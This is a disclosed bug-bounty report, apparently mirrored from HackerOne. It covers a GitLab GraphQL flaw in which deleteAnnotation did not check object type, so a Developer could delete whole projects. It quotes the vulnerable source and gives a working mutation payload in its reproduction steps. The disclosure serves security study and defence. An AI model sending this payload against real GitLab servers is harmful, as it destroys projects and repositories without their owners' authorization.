Skip to content
Access control Disclosed report Intermediate

Insufficient Type Check leading to Developer ability to delete Project, Repository, Group, ...

The GraphQL deleteAnnotation mutation did not verify that the supplied global ID referred to an annotation, so a Developer could pass a project's ID and the service would delete the project and its repository. An attacker with Developer access could therefore delete projects they were not authorised to delete.

Anh Duc Nguyen Follow

Originally disclosed on HackerOne

Bounty$5,000 High View original
  • Triaged in 4 days
  • Fixed in 50 days
  • Paid in 4 days
  • Disclosed after 3 months

Summary

Similar bug to #858671, but this time with annotations mutation: DeleteAnnotation

in app/graphql/mutations/metrics/dashboard/annotations/base.rb

Ruby
module Mutations
  module Metrics
    module Dashboard
      module Annotations
        class Base < BaseMutation
          private

          # This method is defined here in order to be used by `authorized_find!` in the subclasses.
          def find_object(id:)
            GitlabSchema.object_from_id(id)
          end
        end
      end
    end
  end
end

There is no type check for find_object in app/graphql/mutations/metrics/dashboard/annotations/delete.rb

Ruby
    annotation = authorized_find!(id: id)

            result = ::Metrics::Dashboard::Annotations::DeleteService.new(context[:current_user], annotation).execute

And luckily, Developer is sufficient for the permission check

app/services/metrics/dashboard/annotations/delete_service.rb

Ruby
Ability.allowed?(user, :delete_metrics_dashboard_annotation, annotation)

Steps to reproduce

  1. For User A, Create project A Private adding User B as Developer
  2. For User B, execute the following mutation in http://gitlab.example.vm/-/graphql-explorer
GraphQL
mutation {
  deleteAnnotation(input: {id: "gid://Gitlab/Project/<project-id>"}) {
    clientMutationId
  }
}
  1. Project disappear along with Repository

███████

Results of GitLab environment info

System information
System:     
Proxy:      no
Current User:   git
Using RVM:  no
Ruby Version:   2.6.6p146
Gem Version:    2.7.10
Bundler Version:1.17.3
Rake Version:   12.3.3
Redis Version:  5.0.9
Git Version:    2.27.0
Sidekiq Version:5.2.9
Go Version: unknown

GitLab information
Version:    13.2.3-ee
Revision:   640e2695514
Directory:  /opt/gitlab/embedded/service/gitlab-rails
DB Adapter: PostgreSQL
DB Version: 11.7
URL:        http://gitlab.example.vm
HTTP Clone URL: http://gitlab.example.vm/some-group/some-project.git
SSH Clone URL:  [email protected]:some-group/some-project.git
Elasticsearch:  no
Geo:        no
Using LDAP: no
Using Omniauth: yes
Omniauth Providers: 

GitLab Shell
Version:    13.3.0
Repository storage paths:
- default:  /var/opt/gitlab/git-data/repositories
GitLab Shell path:      /opt/gitlab/embedded/service/gitlab-shell
Git:        /opt/gitlab/embedded/bin/git

Impact

Unauthorized deleting of repository/project by maintainers, developers

The original report as published on HackerOne, by ledz1996. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

The mutation resolved the supplied global ID without checking its type, so an object of any type could be passed to a service that assumed it was an annotation.

Impact

A Developer could delete a project and its repository without authorisation.

What the attacker needed

Developer role on the target project

How it was found

  1. Create a private project as User A and add User B as a Developer.
  2. As User B, open the GraphQL explorer and run the deleteAnnotation mutation with the project's global ID as the id argument.
  3. The project and its repository are deleted.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A GraphQL mutation is an action a user can ask the server to perform. The server looked up whatever object the user named by its ID but never checked it was actually an annotation, then ran a delete action on it. Because the permission check only asked whether the user could delete annotations, a low-privileged Developer could delete a whole project.

What is Access control?

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.

More by Anh Duc Nguyen

View all

4 more disclosed reports, best first.

More from GitLab

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Broken access control

The lesson behind this report.

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.